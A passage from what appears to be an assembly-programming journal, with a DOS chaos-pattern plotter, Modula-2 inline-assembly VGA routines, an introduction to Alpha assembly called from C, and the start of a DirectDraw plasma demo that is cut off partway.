~~~~~~~~~~~~~~~~ I'm going to first explain the plot routine before going into the main code body. I had some fun writing it, but it also illustrates some important points. We are using mode 011h. This is 640x480x2, ( 0280hx01E0h ) With mode 011h you have of course only the one plane. You've got bytes from +00h to +04Fh on each row representing 8-bit pixel groups. So given an x coordinate you need to take the 2 parts:- offset =x SHR 3 bit =x AND 3 The y coordinate is just the one part, the offset:- offset =y *050h (row=050h bytes) Now of course it is plain to see that the offset is simply the result of multiplication by 5 and then shift left 4. (unless you work always in decimal, ala 050h=5*010h) Oh, I LOVE the x86:- LEA SI,[EDX*4+EDX] This puts DX*5 straight into SI. Thats about 5 operations all in one go:) So then SI is shifted 4 left and the resultant offset y*050h is the y component of the offset on screen of the pixel we want to plot. The routine keeps the x/y components apart because we want to plot (x,y) (-x,y) (-x,-y) (x,-y). And as soon as they are put together for one they need to be disassembled/reconstructed for the next. The x component, which is always in BX, is obviously created with a shift right 3, however we first have to rescue the least significant 3 bits. They give the bit in the byte. MOV CL,BL MOV AX,0180h ROR AL,CL;ROL AH,CL Here I am getting AL with the bit set that corresponds to the the pixel on screen. AH is being set up the opposite way around. Think of the screen as four quadrants:- | x+ | x- y+ | | -----------+------------- | | y- | | | If our point starts in the x+y+ quadrant, we have the values to draw that:- ( SHR BX,3 ) XOR [SI+BX],AL Now to reflect the point x-wise, so it goes to x-y+, you only need to get the x offset = 04Fh-x. Well x86 lets you do powerful things, we don't need to mess; just negate BX to get the -x and add the 04Fh in as a displacement. Of course the bit offset gets negated as well, which is exactly why we have the two opposite masks in AL/AH:- NEG BX;XOR [SI+BX+04Fh],AH Next y is reflected, so we go to -x-y. This is the same thing again, only the y coordinate will only affect the offset:- NEG SI;XOR [SI+BX+04Fh+01DFh*050h],AH And finally to +x-y: NEG BX;XOR [SI+BX+01DFh*050h],AL Notes ~~~~~ During the program run you can press any key to set different values for the chaos function. Press ESC to abort. On abortion a message will give you 2 hex d-words, these are the random number seed that generated the last pattern you were watching. To see it again simply record the values and invoke the program with the values on the command line:- (ESC abort) random seed=01234567 FEDCBA98 (program output) KAOS 01234567 FEDCBA98 (invoke program with seed as parameter) (chaos pattern displayed is the same as the one broken out of) The code is left undelayed and as such it may run too fast on a fast machine. The optimum speed is for it to be only slighty over-fast. If you want to achieve this you should add some sort of delay loop in. Alt- ernatively just get out your old 386 and give it some work to do. Code is, as usual, is MASM format. Assemble to a COM file. ========START OF CODE====================================================== OPTION SCOPED OPTION SEGMENT:USE16 .486 stksiz EQU 0400h ;stack size kadatx EQU 0C00h ;#points length of trail cseg SEGMENT BYTE ASSUME NOTHING ORG 0100h kode PROC NEAR ;initialise, allocate memory and stack CLD MOV AH,04Ah MOV BX,OFFSET endof+0Fh SHR BX,4 INT 021h JC errmem MOV SP,OFFSET stk+stksiz ;zero-terminate command line to facilitate ;parsing MOV SI,080h LODSB CBW XCHG BX,AX MOV [BX+SI],BH ;any parameters given? CALL NEAR PTR scaws CMP AL,0 JZ SHORT ko0 ;yes, so read 2 dwords as random seed MOV DI,OFFSET rndn MOV AL,010h CALL NEAR PTR scanur CALL NEAR PTR scanu JNA erripa STOSD CALL NEAR PTR scaws CALL NEAR PTR scanu JNA erripa STOSD JMP SHORT ko1 ;no, so set random seed from system time ko0: CALL NEAR PTR rndseed ko1: lop2: ;set mode 011h, fade grey background MOV AX,011h INT 010h MOV EAX,040404h MOV BL,0 CALL NEAR PTR spal ;save random seed so that kaos params can be restored ;by user MOV SI,OFFSET rndn MOV DI,OFFSET seed MOVSD;MOVSD ;set random params for function MOV DI,OFFSET kaa MOV CX,4 lop1: CALL NEAR PTR rndgen32 STOSD LOOP lop1 ;initialise for plot trail ; [kaera]=0 on the first pass of the store ; [kaera]=-1 thereafter ; [kaoff]=offset of store pointer MOV BYTE PTR DS:[kaera],0 MOV WORD PTR DS:[kaoff],OFFSET kadat lop0: ;iterate x,y ; x'=x*x+y+a ; y'=b-x MOV EAX,DWORD PTR DS:[kax] MOV EBX,DWORD PTR DS:[kab] SUB EBX,EAX MOV ECX,EBX XCHG EBX,DWORD PTR DS:[kay] ADD EBX,DWORD PTR DS:[kaa] MUL EAX ADD EBX,EDX MOV DWORD PTR DS:[kax],EBX ;x,y scale to screen bounds ; gets the x,y [0,1) values into screen coordinate pair (BX,DX) SHR EBX,12 LEA EBX,[EBX*4+EBX] SHR EBX,13 MOV EDX,ECX SHR ECX,4 SUB EDX,ECX SHR EDX,23 ;do point ; [kaera] is -1 on and after the store had become full for the first ; time MOV DI,WORD PTR DS:[kaoff] TEST BYTE PTR DS:[kaera],-1 JZ SHORT ko3 ;unplot trail end point PUSH BX PUSH DX MOV BX,[DI] MOV DX,[DI+2] CALL NEAR PTR plo4 POP DX POP BX ;current position is saved in store ko3: MOV AX,BX STOSW MOV AX,DX STOSW ;store ptr incremented wrapping at the end CMP DI,OFFSET kadat+kadatx*4 JNZ SHORT ko4 MOV DI,OFFSET kadat OR BYTE PTR DS:[kaera],-1 ko4: MOV WORD PTR DS:[kaoff],DI ;current position is plotted CALL NEAR PTR plo4 ;user ; ESC aborts, any key sets a new function going MOV AH,0Bh INT 021h CMP AL,0 JZ lop0 MOV AH,7 INT 021h CMP AL,01Bh JNZ lop2 ;display random seed value and terminate MOV SI,OFFSET t0 CALL NEAR PTR pstr MOV EAX,02083010h CALL NEAR PTR nuconvs MOV SI,OFFSET seed ;those instructions at the program start are never going to be ;executed again so use them as a temp workspace instead of kadat ;which could possibly be dangerous if somebody EQU's kadatx to ;some low value MOV DI,0100h PUSH DI LODSD CALL NEAR PTR nuconv MOV AL,020h STOSB LODSD CALL NEAR PTR nuconv MOV AL,0 STOSB POP SI CALL NEAR PTR pstrcr ;screen mode is not put back to 02h you may wish to add ;a MOV AX,2;INT 010h here however I left it out because I ;see way too much of that mode ;program termination terminat0: MOV AL,0 terminat: MOV AH,04Ch INT 021h ;error aborts erripa: MOV SI,OFFSET terripa MOV AL,2 JMP SHORT err errmem: MOV SI,OFFSET terrmem MOV AL,1 err: PUSH SI MOV SI,OFFSET terr CALL NEAR PTR pstr POP SI CALL NEAR PTR pstrcr JMP terminat terr: DB "ERROR: ",0 terrmem: DB "memory allocation failure",0 terripa: DB "invalid parameter format",0 ;program text (in it's entirely) t0: DB "random seed=",0 kode ENDP ;plo4- 4-way plot routine for mode 011h ; ; plots 4 reflections of a single point on the mode 011h ; screen these are (x,y) (-x,y) (-x,-y) (x,-y) ; ; plots using XOR ; ;entry: BX,DX=x,y coordinates ; ;exit: SI,CL,AX,BX destroyed plo4 PROC NEAR PUSH DS ;screen segment 0A000h ; for further comment please refer above PUSH 0A000h POP DS LEA SI,[EDX*4+EDX] SHL SI,4 MOV CL,BL MOV AX,0180h ROR AL,CL ROL AH,CL SHR BX,3 XOR [SI+BX],AL NEG BX XOR [SI+BX+04Fh],AH NEG SI XOR [SI+BX+04Fh+01DFh*050h],AH NEG BX XOR [SI+BX+01DFh*050h],AL POP DS RET plo4 ENDP ;if you don't like my fade grey background you can delete this and ;the line that invokes it. However this is also the next library ;routine, so do cut/paste it into a file it will be used in future ;articles. ;spal- set VGA DAC register via hardware ;entry: EAX=XXGGBBRR (hex of course) ; ; RR=red component ; BB=blue component ; GG=green component ; ; don't forget that these values are <=03Fh ; ; BL=DAC register to set ; ; ;exit: (all registers are preserved) spal PROC NEAR ;the code here is straightforward so I shall add no comment apart ;from a small moan:( I have used direct hardware access instead ;of the BIOS calls to affect the palette since square one, I'm ;not unreasonable in my desire to program the hard-metal of the machine, ;however the quality of the BIOS graphics routines is absolutely ;despicable. If you've ever tried using them you will know what I'm ;talking about. ; PUSH EAX PUSH DX MOV DX,03C8h CLI XCHG BX,AX OUT DX,AL INC DX XCHG BX,AX OUT DX,AL SHR EAX,8 OUT DX,AL SHR EAX,8 OUT DX,AL STI POP DX POP EAX RET spal ENDP ;library routines INCLUDE RAND.ASM INCLUDE SCAWS.ASM INCLUDE SCANU.ASM INCLUDE NUCONV.ASM INCLUDE PSTR.ASM INCLUDE PSTRCR.ASM INCLUDE PSTRCX.ASM INCLUDE OUTCR.ASM INCLUDE STRLEN.ASM INCLUDE PUTCH.ASM ;data kaoff EQU $ ;(w) offset of trail store pointer (absolute) kaera EQU kaoff+2 ;(b) flag indicating 1st trail pass kaa EQU kaera+1 ;(dw) a kab EQU kaa+4 ;(dw) b kaos function parameters kax EQU kab+4 ;(dw) x kay EQU kax+4 ;(dw) y kadat EQU kay+4 ;(*) store space for trail data seed EQU kadat+kadatx*4 ;(qw) copy of initial random number seed stk EQU seed+8 ;(*) stack space endof EQU stk+stksiz ;[endofprogram] cseg ENDS END FAR PTR kode ========END OF CODE======================================================== ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Inline Assembler With Modula by Jan Verhoeven I don't want to start a compiler-war in the assembler programmer's journal, but I do want to show some nice in-line assembly routines for FST Modula-2. FST (or Fitted Software Tools) was a shareware Modula-2 compile made by Roger Carvalho. He eventualy gave up the concept of shareware and made his final version freeware. If you look carefully you can find this package in many software repositories like Simtel. Also the FreeDOS website used to harbor this final version. For this Modula-2 compiler I used my VGA routines (see previous issues) and some in-line assembly to give this compiler a way to do graphics modes. I uploaded the full sources to SimTel some months (or years?) ago, so if you would like to have a detailed look at it, go there and look for it. Modula-2 is despised by many, but it is the most structured language ever made. And that's also probably the reason why most coders refuse to use it. You must follow the compiler, whatever you do. A high price, but the result is that Modula-2 programs seldomly crash. They can bail-out in the middle of the program, but they will not hang due to a pointer or indexing error. Anyway, here's my addition to this marvelous language: --------------------------------------------------------------------------- IMPLEMENTATION MODULE VgaLib; PROCEDURE SHL (x, y : CARDINAL) : CARDINAL; (* Shift left x, y bits. *) VAR result : CARDINAL; BEGIN ASM MOV AX, x MOV CX, y AND CX, 15 (* Mask off lower nybble *) JCXZ ok (* Get out if no shift. *) SHL AX, CL ok: MOV result, AX (* Store result. *) END; RETURN result; END SHL; --------------------------------------------------------------------------- The only "drawback" is that the in-line code must be 8088 style. So you won't be eable to use MMX instructions, but almost no-one ever needs those. FST Modula-2 offers direct access to (values of) variables. Neat. Makes the in-line feature very convenient to use. --------------------------------------------------------------------------- PROCEDURE SetColour (Colour : CHAR); (* Define colour to work with. *) BEGIN ASM MOV DX, 03C4H (* VGA controller port *) MOV AH, Colour MOV AL, 2 OUT DX, AX END; END SetColour; --------------------------------------------------------------------------- Compare the following routine with the one I entered for the VGA-12h code in A86 assembly language format. There's some Modula-2 overhead, but the actual plotting is done in ASM, for speed-reasons. --------------------------------------------------------------------------- PROCEDURE Plot (VAR InWin : WinData); (* Plot point on CurX, CurY. *) VAR x, y : CARDINAL; BEGIN x := InWin.CurX + InWin.TopX; y := InWin.CurY + InWin.TopY; ASM MOV AX, 0A000H MOV ES, AX (* Set up segment register *) MOV CX, x AND CX, 7 (* Which bit to plot? *) MOV AH, 80H SHR AH, CL (* Compose plotting mask *) MOV AL, 8 MOV DX, 03CEH OUT DX, AX (* Set plottingmask *) MOV AX, y (* Calculate offset in Video RAM *) MOV BX, AX ADD AX, AX ADD AX, AX ADD AX, BX (* AX := 5 * Y *) MOV CL, 4 SHL AX, CL (* AX := 16 * 5 * Y *) MOV BX, x SHR BX, 1 SHR BX, 1 SHR BX, 1 ADD BX, AX (* plus X / 8 *) MOV AL, ES:[BX] MOV AL, 0FFH MOV ES:[BX], AL (* and plot it *) END; END Plot; PROCEDURE DrawH (VAR InWin : WinData; Flag : BOOLEAN); (* Draw a horizontal line from CurX, CurY for DeltaX pixels. *) VAR Index, Stop, x, dx, y, Kval : CARDINAL; Emask, Lmask, Val : CHAR; BEGIN IF Flag THEN (* Flag = TRUE => Plot, else UnPlot *) Val := 0FFX; ELSE Val := 0X; END; IF InWin.DeltaX < 18 THEN FOR Index := 0 TO InWin.DeltaX DO (* For short lines *) Plot (InWin); INC (InWin.CurX); END; ELSE x := InWin.TopX + InWin.CurX; (* For long lines *) y := InWin.TopY + InWin.CurY; dx := InWin.DeltaX; ASM MOV AX, 0A000H MOV ES, AX (* Set up segment register *) MOV CX, x AND CX, 7 MOV BX, 8 SUB BX, CX MOV AL, 0FFH SHR AL, CL MOV Emask, AL (* compose plotting mask *) MOV CX, dx SUB CX, BX MOV AX, CX AND AX, 7 PUSH AX (* Save L-val *) SUB CX, AX SHR CX, 1 SHR CX, 1 SHR CX, 1 MOV Kval, CX MOV AL, 0 POP CX (* retrieve L-val *) JCXZ L0 MOV AL, 080H L0: DEC CX SAR AL, CL MOV Lmask, AL MOV AX, y (* Calculate offset in Video RAM *) MOV BX, AX ADD AX, AX ADD AX, AX ADD AX, BX (* AX := 5 * Y *) MOV CL, 4 SHL AX, CL (* AX := 16 * 5 * Y *) MOV BX, x SHR BX, 1 SHR BX, 1 SHR BX, 1 ADD BX, AX (* plus X / 8 *) MOV AH, Emask MOV DX, 03CEH MOV AL, 8 OUT DX, AX (* Set plotting mask *) MOV AL, Val MOV AH, ES:[BX] MOV ES:[BX], AL (* Do the plotting ... *) INC BX MOV CX, Kval JCXZ L2 MOV AX, 0FF08H OUT DX, AX MOV AH, Val L1: MOV AL, ES:[BX] MOV ES:[BX], AH INC BX LOOP L1 L2: MOV AH, Lmask MOV AL, 8 OUT DX, AX MOV AL, ES:[BX] MOV AL, Val MOV ES:[BX], AL END; INC (InWin.CurX, dx); END; END DrawH; PROCEDURE PlotChar (VAR InWin : WinData; Letter : CHAR); (* Plot character on InWin.(CurX,CurY). *) VAR xpos, ypos, MapOfs, VGApos, VGAseg, Pmask : CARDINAL; Cval : CHAR; BEGIN IF Letter = 0AX THEN INC (InWin.CurY, 16); (* Process LF *) RETURN; END; IF Letter = 0DX THEN InWin.CurX := InWin.Indent; (* Process CR *) RETURN; END; IF InWin.CurX >= InWin.Width - ChrWid THEN InWin.CurX := InWin.Indent; INC (InWin.CurY, 16); END; xpos := InWin.CurX + InWin.TopX; ypos := InWin.CurY + InWin.TopY; VGApos := 80 * ypos + SHR (xpos, 3); VGAseg := 0A000H; MapOfs := ORD (Letter) * 16; ASM PUSH ES (* save ES *) MOV CX, xpos AND CX, 7 MOV Cval, CL (* nr of bits "off center" *) MOV BX, 0FF00H SHR BX, CL MOV Pmask, BX (* mask to use for left and right halves *) MOV AX, BX MOV AL, 8 MOV DX, 03CEH OUT DX, AX (* set plotting mask for left part *) MOV CX, 16 MOV BX, VGApos LES SI, BitMap (* here are the pixels that make the tokens *) ADD SI, MapOfs L0: PUSH CX LES AX, BitMap (* load ES, AX is just scrap *) MOV AH, ES:[SI] (* load pattern *) MOV CL, Cval SHR AX, CL (* compose left half *) MOV ES, VGAseg MOV AL, ES:[BX] MOV ES:[BX], AH (* and "print" it *) ADD BX, 80 (* point to next row *) INC SI (* and next pixel pattern *) POP CX LOOP L0 (* repeat until done *) MOV AX, Pmask CMP AL, 0 (* if Cval = 0 => perfect allignment *) JE ex (* skip second half *) XCHG AH, AL (* else repeat the story once more *) MOV AL, 8 OUT DX, AX (* set up mask for right half *) MOV CX, 16 SUB BX, 1279 (* 16 x 80 - 1 *) SUB SI, CX L1: PUSH CX LES AX, BitMap MOV AH, ES:[SI] MOV AL, 0 MOV CL, Cval SHR AX, CL MOV ES, VGAseg MOV AH, ES:[BX] MOV ES:[BX], AL ADD BX, 80 INC SI POP CX LOOP L1 ex: POP ES END; INC (InWin.CurX, ChrWid); (* point to next printing position *) END PlotChar; --------------------------------------------------------------------------- And here is the promised solution for the "make a box-drawing routine" problem of the previous issue. OK, the solution is in Modula-2, but since this is such a clear to understand language it will be no big deal to port this code to assembly language format. --------------------------------------------------------------------------- PROCEDURE MakeBox (InWin : WinData); (* Make a box on screen starting at (TopX, TopY). *) BEGIN InWin.CurX := 0; InWin.CurY := 0; (* Make sure pointers are correct *) InWin.DeltaX := InWin.Width - 1; InWin.DeltaY := InWin.Height - 1; (* setup parameters for drawing lines *) SetColour (InWin.BoxCol); DrawH (InWin, TRUE); (* draw horizontal line *) DrawV (InWin); (* draw vertical line *) InWin.CurX := 0; InWin.CurY := 1; (* adjust coordinates *) DrawV (InWin); (* draw last vertical line *) DEC (InWin.CurY); INC (InWin.CurX); (* adjust coordinates once more *) DrawH (InWin, TRUE); (* draw final line *) END MakeBox; END VgaLib. --------------------------------------------------------------------------- ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Assembly on the Alpha Platform by Rudolf Seemann ASSEMBLING ON ALPHA PART I -------------------------- In this first article I will discover how to use functions written in alpha assembler in a program written in C. The example I give is a rather simple one. There are many things to know about alpha. This text shows that it is quite simple to use assembler on alpha. Introduction ------------ The heart of the alpha architecture is a 64-bit RISC processor with 32 integer ($0 to $31) and 32 floating point registers ($f0 to $f31). Its operation codes can be classified by the number of its operands: class opcode operate opcode Ra,Rb,Rc # Ra operation Rb -> Rc opcode Ra,number,Rc # Ra operation number (0-255) -> Rc memory opcode Ra,Disp(Rb) # load/store contents saved in memory address # Rb + offset Disp in register Ra branch opcode Ra,label # branch if Ra = true to label PAL opcode number # opcodes for the operating system The Usage Convention of register is listed in the following table. Saved Registers are such whose contents will not be lost if a function is called. The function will save such registers if it uses them. int reg Usage Convention Saved --------------------------------------------- $0 Integer function result No $1-$8 Conventional scratch regs No $9-$14 General uses Yes $15 or $fp Frame pointer Yes $16-$21 Integer arguments by value No $22-$25 Conventional scratch regs No $26 Return address register Yes $27 Procedure value (pointer) No $28 or $at reserved for system No $29 or $gp Global pointer No $30 or $sp Stack pointer Yes $31 Zero (not modifiable) n/a float reg Usage Convention Saved -------------------------------------------------- $f0 floating point function result No $f1 Imaginary part function result No $f2-$f9 General uses Yes $f10-$f15 Conventional scratch regs No $f16-$f21 Floating point args by value No $f22-$f30 Conventional scratch regs No $f31 Zero (not modifiable) n/a Data Types are specified by suffixes (like q for quadword, l for longword). Most integer operations only know these two suffixes. Floating point operations know both: s and t. Integer Data types: Type Bits signed range unsigned range --------------------------------------------------------------------- Byte 8 -128 to 127 0 to 255 Word 16 -32768 to 32767 0 to 65535 Longword 32 -2147483648 to 0 to 4294967295 2147483647 Quadword 64 -9228372036854775808 0 to 9228372036854775807 18446744073709551615 Floating Point Data Types: Type Magnitude Precision ---------------------------------------------------------------- S-floating 1.175 x 10^-38 to 3.403 x 10^38 6 decimal digits T-floating 2.225 x 10^-308 to 1.798 x 10^308 15 decimal digits If you want to use 64-bit numbers in the c-programming language (gcc), use (long) or (long int). (int) is 32 bits long. The following example was tested on an SX164 with SuSE Alpha Linux 6.3 (Kernel 2.2.13). The Example ----------- My c-program calls the assembler function div which divides the first argument given to it by the second one. The arguments will be put in the integer registers $16 and $17 by convention. So all we have to do is to divide register $16 by $17. The alpha does not know any division for integer. There is a pseudo- opcode for integer-division but I will show how to convert an integer to a floating point number, do the division in the floating point registers and convert it back to integer. Finally the result will be put by convention in register $0 where the c-program expects it to be. Compiling the source codes -------------------------- gcc -c div.s gcc -o div divide.c div.o Source of the C-program ----------------------- /* divide.c */ #include int main() { long int a,b,c; /* long int is 64 bits long */ a=1111; /* a random number */ b=14; /* second random number */ c=div(a,b); /* div is a function written in assembler code */ /* div returns the value of a / b */ printf("c is %d\n",c); exit(0); } -------------------------------------------------- cut here Source of the Assembler-Program: div.s -------------------------------------------------- cut here .title div divides two arguments and returns the result .data # Data section temp1: .quad 0 # temporary variable temp2: .quad 0 # temporary variable temp3: .quad 0 # temporary variable REGS = 1 # How many registers have to be saved STACK = REGS # this registers will be put on the stack FRAME = ((STACK*8+8)/16)*16 # Stack size .text # text section .align 4 .set noreorder # disallow rearrangements .globl div # these 3 lines mark the .ent div # mandatory function div: # entry ldgp $gp,0($27) # load the global pointer lda $sp,-FRAME($sp) # load the stack pointer stq $26,0($sp) # save our own exit address .frame $sp,FRAME,$26,0 # describe the stack frame .prologue 1 stq $16,temp1 # save register $16 (first argument) stq $17,temp2 # save register $17 (second argument) ldt $f2,temp1 # load 1st argument in floating point register ldt $f3,temp2 # load 2nd argument in floating point register cvtqt $f2,$f2 # convert integer to floating point cvtqt $f3,$f3 # convert integer to floating point divt $f2,$f3,$f4 # $f4 <-- $f2 / $f3 cvttq $f4,$f4 # convert floating point to integer stt $f4,temp3 # store integer ldq $0,temp3 # load integer in integer register done: ldq $26,0($sp) # restore exit address lda $sp,FRAME($sp) # Restore stack level ret $31,($26),1 # Back to c-program .end div # Mark end of function -------------------------------------------------- cut here ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::................................WIN32.ASSEMBLY.PROGRAMMING Direct Draw Examples by X-Calibre As a follow-up to the Direct Draw article in APJ#5, here are two complete DirectDraw sample programs. The first uses an 8-bit palette, while the second uses a 32-bit (truecolor) palette. To compile these, you will need to obtain Ddraw.inc ( http://asmjournal.freeservers.com/files/Ddraw.inc.html ) for the necessary DirectDraw definitions. ;Ddplasma8.asm_________________________________________________________________ ;---------------------------------------; ; DDRAW Plasma Demo ; ; ; ; Author : X-Calibre ; ; ASM version : Ewald Snel ; ; Copyright (C) 1999, Diamond Crew ; ; ; ; http://here.is/diamond/ ; ;---------------------------------------; TITLE WIN32ASM EXAMPLE .486 .MODEL FLAT, STDCALL option casemap :none ;-----------------------------------------------------------; ; WIN32ASM / DDRAW PLASMA DEMO ; ;-----------------------------------------------------------; INCLUDE \masm32\include\windows.inc ; ----------------------------------- ; Note that the following is the ; include file written by Ewald Snel. ; ----------------------------------- INCLUDE \masm32\include\ddraw.inc INCLUDE \masm32\include\gdi32.inc INCLUDE \masm32\include\kernel32.inc INCLUDE \masm32\include\user32.inc includelib \masm32\lib\gdi32.lib includelib \masm32\lib\ddraw.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD nextFrame PROTO initPlasma PROTO RETURN MACRO arg IFNB mov eax, arg ENDIF ret ENDM LRETURN MACRO arg IFNB mov eax, arg ENDIF leave ret ENDM FATAL MACRO msg LOCAL @@msg .DATA @@msg db msg, 0 .CODE INVOKE MessageBox, hWnd, ADDR @@msg, ADDR szDisplayName, MB_OK INVOKE ExitProcess, 0 ENDM .DATA? hWnd HWND ? ; surface window lpDD LPDIRECTDRAW ? ; DDraw object lpDDSPrimary LPDIRECTDRAWSURFACE ? ; DDraw primary surface ddsd DDSURFACEDESC ; DDraw surface descriptor ddscaps DDSCAPS ; DDraw capabilities palette dd 256 dup (?) table dd 512 dup (?) lpDDPalette dd ? .DATA ddwidth EQU 320 ; display mode width ddheight EQU 200 ; display mode height ddbpp EQU 8 ; display mode color depth phaseA dd 0 phaseB dd 0 factor1 EQU -2 factor2 EQU -1 factor3 EQU 1 factor4 EQU -2 red dd 500.0 green dd 320.0 blue dd 372.0 scale1 dd 2.0 scale2 dd 128.0 scale3 dd 256.0 scale4 dd 127.0 szClassName db "DDRAW Plasma Demo", 0 ; class name szDisplayName EQU ; window name color dd 0 wc WNDCLASSEX < SIZEOF WNDCLASSEX, CS_HREDRAW OR CS_VREDRAW, OFFSET WndProc, 0, 0, , 0, 0, , 0, OFFSET szClassName, 0 > .CODE start: INVOKE GetModuleHandle, NULL INVOKE WinMain, eax, NULL, NULL, SW_SHOWDEFAULT INVOKE ExitProcess, eax ;-----------------------------------------------------------; ; Calculate Next Plasma Frame ; ;-----------------------------------------------------------; nextFrame PROC push ebx push esi push edi mov ecx , ddheight ; # of scanlines mov edi , [ddsd.lpSurface] ; pixel output @@scanline: push ecx push edi mov esi , [phaseA] mov edx , [phaseB] sub esi , ecx and edx , 0ffH and esi , 0ffH mov edx , [table][4*edx][256*4] mov esi , [table][4*esi] ; [x] + table0[a + y] sub edx , ecx ; [y] + table1[b] mov ecx , ddwidth ; [x] --> pixel counter @@pixel: and esi , 0ffH and edx , 0ffH mov eax , [table][4*esi] mov ebx , [table][4*edx][256*4] add eax , ebx add esi , factor3 shr eax , 1 inc edi add edx , factor4 dec ecx mov [edi][-1] , al jnz @@pixel pop edi pop ecx add edi , [ddsd.lPitch] ; inc. display position dec ecx jnz @@scanline add [phaseA] , factor1 add [phaseB] , factor2 pop edi pop esi pop ebx ret nextFrame ENDP ;-----------------------------------------------------------; ; Initalize Plasma Tables ; ;-----------------------------------------------------------; initPlasma PROC LOCAL @@i :DWORD LOCAL @@r :DWORD LOCAL @@g :DWORD LOCAL @@b :DWORD LOCAL temp :DWORD mov [@@i] , 0 .WHILE @@i < 256 mov edx , [@@i] ; Calculate table0 value fldpi fimul DWORD PTR [@@i] fmul REAL4 PTR [scale1] fdiv REAL4 PTR [scale3] fsin fmul REAL4 PTR [scale4] fadd REAL4 PTR [scale2] fistp DWORD PTR [table][4*edx] ; Calculate table1 value fldpi fimul DWORD PTR [@@i] fmul REAL4 PTR [scale1] fdiv REAL4 PTR [scale3] fcos fmul REAL4 PTR [scale2] fadd REAL4 PTR [scale2] fldpi fmulp st(1), st fmul REAL4 PTR [scale1] fdiv REAL4 PTR [scale3] fsin fmul REAL4 PTR [scale4] fadd REAL4 PTR [scale2] fistp DWORD PTR [table][4*edx][4*256] ; Calculate palette value xor eax , eax FOR comp, fldpi fimul DWORD PTR [@@i] fmul REAL4 PTR [scale1] fdiv REAL4 PTR [comp] fcos fmul REAL4 PTR [scale4] fadd REAL4 PTR [scale2] fistp DWORD PTR [temp] shl eax , 8 or eax , [temp] ENDM bswap eax shr eax, 8 mov [palette][4*edx] , eax inc [@@i] .ENDW ; Set palette DDINVOKE CreatePalette, lpDD, DDPCAPS_8BIT or DDPCAPS_ALLOW256, ADDR palette, ADDR lpDDPalette, NULL .IF eax != DD_OK FATAL "Couldn't create palette" .ENDIF DDSINVOKE SetPalette, lpDDSPrimary, lpDDPalette .IF eax != DD_OK FATAL "Couldn't set palette" .ENDIF ret initPlasma ENDP ;-----------------------------------------------------------; ; WinMain ( entry point ) ; ;-----------------------------------------------------------; WinMain PROC hInst :DWORD, hPrevInst :DWORD, CmdLine :DWORD, CmdShow :DWORD LOCAL msg :MSG ; Fill WNDCLASSEX structure with required variables mov eax , [hInst] mov [wc.hInstance] , eax INVOKE GetStockObject , BLACK_BRUSH mov [wc.hbrBackground] , eax INVOKE RegisterClassEx, ADDR wc ; Create window at following size INVOKE CreateWindowEx, 0, ADDR szClassName, ADDR szDisplayName, WS_POPUP, 0, 0, ddwidth, ddheight, NULL, NULL, hInst, NULL mov [hWnd] , eax INVOKE ShowWindow, hWnd, SW_MAXIMIZE INVOKE SetFocus, hWnd INVOKE ShowCursor, 0 ; Initialize display INVOKE DirectDrawCreate, NULL, ADDR lpDD, NULL .IF eax != DD_OK FATAL "Couldn't init DirectDraw" .ENDIF DDINVOKE SetCooperativeLevel, lpDD, hWnd, DDSCL_EXCLUSIVE OR DDSCL_FULLSCREEN .IF eax != DD_OK FATAL "Couldn't set DirectDraw cooperative level" .ENDIF DDINVOKE SetDisplayMode, lpDD, ddwidth, ddheight, ddbpp .IF eax != DD_OK FATAL "Couldn't set display mode" .ENDIF mov [ddsd.dwSize] , SIZEOF DDSURFACEDESC mov [ddsd.dwFlags] , DDSD_CAPS mov [ddsd.ddsCaps.dwCaps] , DDSCAPS_PRIMARYSURFACE DDINVOKE CreateSurface, lpDD, ADDR ddsd, ADDR lpDDSPrimary, NULL .IF eax != DD_OK FATAL "Couldn't create primary surface" .ENDIF call initPlasma ; Loop until PostQuitMessage is sent .WHILE 1 INVOKE PeekMessage, ADDR msg, NULL, 0, 0, PM_REMOVE .IF eax != 0 .IF msg.message == WM_QUIT INVOKE PostQuitMessage, msg.wParam .BREAK .ELSE INVOKE TranslateMessage, ADDR msg INVOKE DispatchMessage, ADDR msg .ENDIF .ELSE INVOKE GetFocus .IF eax == hWnd mov [ddsd.dwSize] , SIZEOF DDSURFACEDESC mov [ddsd.dwFlags] , DDSD_PITCH .WHILE 1 DDSINVOKE mLock, lpDDSPrimary, NULL, ADDR ddsd, DDLOCK_WAIT, NULL .BREAK .IF eax == DD_OK .IF eax == DDERR_SURFACELOST DDSINVOKE Restore, lpDDSPrimary .ELSE FATAL "Couldn't lock surface" .ENDIF .ENDW DDINVOKE WaitForVerticalBlank, lpDD, DDWAITVB_BLOCKBEGIN, NULL call nextFrame DDSINVOKE Unlock, lpDDSPrimary, ddsd.lpSurface .ENDIF .ENDIF .ENDW .IF lpDD != NULL .IF lpDDSPrimary != NULL DDSINVOKE Release, lpDDSPrimary mov [lpDDSPrimary] , NULL .ENDIF DDINVOKE Release, lpDD mov [lpDD] , NULL .ENDIF LRETURN msg.wParam WinMain ENDP ;-----------------------------------------------------------; ; Window Proc ( handle events ) ; ;-----------------------------------------------------------; WndProc PROC hWin :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD .IF uMsg == WM_KEYDOWN .IF wParam == VK_ESCAPE INVOKE PostQuitMessage, NULL RETURN 0 .ENDIF .ELSEIF uMsg == WM_DESTROY INVOKE PostQuitMessage, NULL RETURN 0 .ENDIF INVOKE DefWindowProc, hWin, uMsg, wParam, lParam ret WndProc ENDP END start ;End_Ddplasma8.asm_____________________________________________________________ ;Ddplasma32.asm________________________________________________________________ ;---------------------------------------; ; DDRAW Plasma Demo ; ; ; ; Author : X-Calibre ; ; ASM version : Ewald Snel ; ; Copyright (C) 1999, Diamond Crew ; ; ; ; http://here.is/diamond/ ; ;---------------------------------------; TITLE WIN32ASM EXAMPLE .386 .MODEL FLAT, STDCALL option casemap :none ;-----------------------------------------------------------; ; WIN32ASM / DDRAW PLASMA DEMO ; ;-----------------------------------------------------------; INCLUDE \masm32\include\windows.inc ; ----------------------------------- ; Note that the following is the 